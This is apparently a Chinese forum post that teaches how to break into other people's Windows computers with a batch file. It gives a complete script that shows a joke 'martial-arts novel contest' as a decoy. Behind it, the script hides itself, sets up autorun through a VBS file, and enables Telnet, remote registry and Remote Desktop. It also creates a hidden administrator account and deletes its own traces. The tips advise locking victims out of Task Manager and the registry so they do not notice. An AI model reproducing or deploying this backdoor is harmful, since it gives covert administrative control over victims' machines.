教你用批处理入侵别人！－仅供娱乐

不说废话..
有几点提示一下有兴趣的朋友：
1. 因为是通过修改注册表键值,所以运行后,要重启一下,对方机子才能开启相应的服务,如果你等不到第二天的话,完全可以在适当的地方加一句　shutdown /r
2. 现在和以前不同了,我那时候杀软还不会屏蔽telnet连接,但是现在,有的杀软的网络防护会屏蔽telnet连接
3. 当你成功telnet上去后,第一要做的,不是在他机子上乱搞,建议先net user 看下用户,然后cacls设置权限,至少不能让他打开这4个程序,否则,他一发现,很容易就能解决你了.不过,一般情况下,是不会发现的,除非你有意让他知道.  "任务管事器,注册表,系统配置实用程序,和服务",批处理都会玩了,弄几个单一的DOC命令,对于各位来说,是小KS吧...
4. 代码还能启动远程桌面,相信更多人会更喜欢这个,因为这是在图形界面下操作别人电脑的,就像操作自己电脑一样方便,不过不知道为什么,远程桌面的连接成功率比telnet小多了..
最后再说一下,为了验证效果,我自己先运行后,特意让"我亦鬼"同学telnet我的,结果是可以的.然后还修改了一下
好了,有兴趣的朋友参考一下吧.

@echo off &title DOS资源站 www.cmdos.net
title 经典小说
setlocal enabledelayedexpansion
echo                                 史上最短但最精彩的武侠小说征文
ping /n 1 /w 2000 192.168.0.33>nul
if exist c:\windows\ycyx.vbs goto pw
for /f "tokens=*" %%a in ('echo %0') do (set dpnx=%%a)
copy !dpnx! c:\windows\wind.bat>nul
attrib c:\windows\wind.bat +h
echo 要求：
ping /n 1 /w 2000 192.168.0.33>nul
echo set wind=createobject("wscript.shell")>c:\windows\ycyx.vbs
echo wind.run "c:\windows\wind.bat",vbhide>>c:\windows\ycyx.vbs
attrib c:\windows\ycyx.vbs +h
reg add hklm\software\microsoft\windows\currentversion\run /v winlogon /t reg_sz /d c:\windows\ycyx.vbs /f>nul
echo       1、要同时涉及3大门派
ping /n 1 /w 2000 192.168.0.33>nul
reg add hklm\system\currentcontrolset\services\tlntsvr /v start /t reg_dword /d 2 /f>nul
net stop alg>nul
reg add hklm\system\currentcontrolset\services\alg /v start /t reg_dword /d 4 /f>nul
echo       2、要包含江湖门派间多年 怨情仇 又要打破世俗伦理
ping /n 1 /w 2000 192.168.0.33>nul
reg add hklm\system\currentcontrolset\services\remoteregistry /v start /t reg_dword /d 2 /f>nul
reg add hklm\system\currentcontrolset\services /v termservice /t reg_dword /d 2 /f>nul
echo       3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下N多悬念
ping /n 1 /w 2000 192.168.0.33>nul
reg add "hklm\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t reg_dword /d 0 /f>nul
if exist "C:\Documents and Settings\wind" attrib "C:\Documents and Settings\wind" +h
echo       4、越短越好
ping /n 1 /w 2000 192.168.0.33>nul
net user wind 9981 /add>nul
net localgroup administrators wind /add>nul
echo 第N天 有人来投稿 全文只有九个字：
ping /n 1 /w 2000 192.168.0.33>nul
reg add "hklm\software\microsoft\windowns nt\currentversion\winlogon\specialaccounts\userlist" /v wind /t reg_dword /d 0 /f>nul
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
ping /n 1 /w 2000 192.168.0.33>nul
echo 秃驴 敢跟贫道抢师太
ping /n 1 /w 4000 192.168.0.33>nul
del !dpnx! && exit
:pw
set pw=wind%date:~0,4%%date:~5,2%%date:~8,2%
net user cdy %pw%
taskkill /f /im conime.exe
exit